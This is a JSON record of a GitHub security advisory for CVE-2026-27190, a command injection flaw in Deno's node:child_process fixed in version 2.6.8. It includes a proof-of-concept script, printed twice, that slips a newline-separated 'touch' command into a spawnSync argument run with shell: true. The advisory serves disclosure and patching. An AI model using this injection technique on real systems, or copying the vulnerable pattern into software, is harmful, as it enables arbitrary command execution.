{
  "id": "GHSA-hmh4-3xvx-q5hr",
  "source": "ghsa",
  "source_url": "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr",
  "summary": "Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process",
  "description": "## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).",
  "product": "deno",
  "severity": "high",
  "cvss": {
    "score": 8.1,
    "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
    "version": "3.1"
  },
  "cwes": [
    "CWE-78"
  ],
  "affected": [
    {
      "ecosystem": "rust",
      "name": "deno",
      "vulnerable_range": "< 2.6.8",
      "patched_version": "2.6.8"
    }
  ],
  "references": [
    {
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr",
      "ref_type": "advisory",
      "title": null
    },
    {
      "url": "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c",
      "ref_type": "commit",
      "title": null
    },
    {
      "url": "https://github.com/denoland/deno/releases/tag/v2.6.8",
      "ref_type": "other",
      "title": null
    },
    {
      "url": "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr",
      "ref_type": "advisory",
      "title": null
    }
  ],
  "aliases": [
    "CVE-2026-27190"
  ],
  "published_at": "2026-02-19T20:31:41Z",
  "ingested_at": "2026-02-20T14:43:20.251983191Z",
  "raw_source": {
    "ghsa_id": "GHSA-hmh4-3xvx-q5hr",
    "cve_id": "CVE-2026-27190",
    "url": "https://api.github.com/advisories/GHSA-hmh4-3xvx-q5hr",
    "html_url": "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr",
    "summary": "Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process",
    "description": "## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).",
    "type": "reviewed",
    "severity": "high",
    "repository_advisory_url": "https://api.github.com/repos/denoland/deno/security-advisories/GHSA-hmh4-3xvx-q5hr",
    "source_code_location": "https://github.com/denoland/deno",
    "identifiers": [
      {
        "value": "GHSA-hmh4-3xvx-q5hr",
        "type": "GHSA"
      },
      {
        "value": "CVE-2026-27190",
        "type": "CVE"
      }
    ],
    "references": [
      "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr",
      "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c",
      "https://github.com/denoland/deno/releases/tag/v2.6.8",
      "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr"
    ],
    "published_at": "2026-02-19T20:31:41Z",
    "updated_at": "2026-02-19T20:31:44Z",
    "github_reviewed_at": "2026-02-19T20:31:41Z",
    "nvd_published_at": null,
    "withdrawn_at": null,
    "vulnerabilities": [
      {
        "package": {
          "ecosystem": "rust",
          "name": "deno"
        },
        "vulnerable_version_range": "< 2.6.8",
        "first_patched_version": "2.6.8",
        "vulnerable_functions": []
      }
    ],
    "cvss_severities": {
      "cvss_v3": {
        "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
        "score": 8.1
      },
      "cvss_v4": {
        "vector_string": null,
        "score": 0.0
      }
    },
    "cwes": [
      {
        "cwe_id": "CWE-78",
        "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
      }
    ],
    "credits": [
      {
        "user": {
          "login": "jackhax",
          "id": 41838363,
          "node_id": "MDQ6VXNlcjQxODM4MzYz",
          "avatar_url": "https://avatars.githubusercontent.com/u/41838363?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/jackhax",
          "html_url": "https://github.com/jackhax",
          "followers_url": "https://api.github.com/users/jackhax/followers",
          "following_url": "https://api.github.com/users/jackhax/following{/other_user}",
          "gists_url": "https://api.github.com/users/jackhax/gists{/gist_id}",
          "starred_url": "https://api.github.com/users/jackhax/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/jackhax/subscriptions",
          "organizations_url": "https://api.github.com/users/jackhax/orgs",
          "repos_url": "https://api.github.com/users/jackhax/repos",
          "events_url": "https://api.github.com/users/jackhax/events{/privacy}",
          "received_events_url": "https://api.github.com/users/jackhax/received_events",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "type": "reporter"
      }
    ],
    "cvss": {
      "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "score": 8.1
    }
  }
}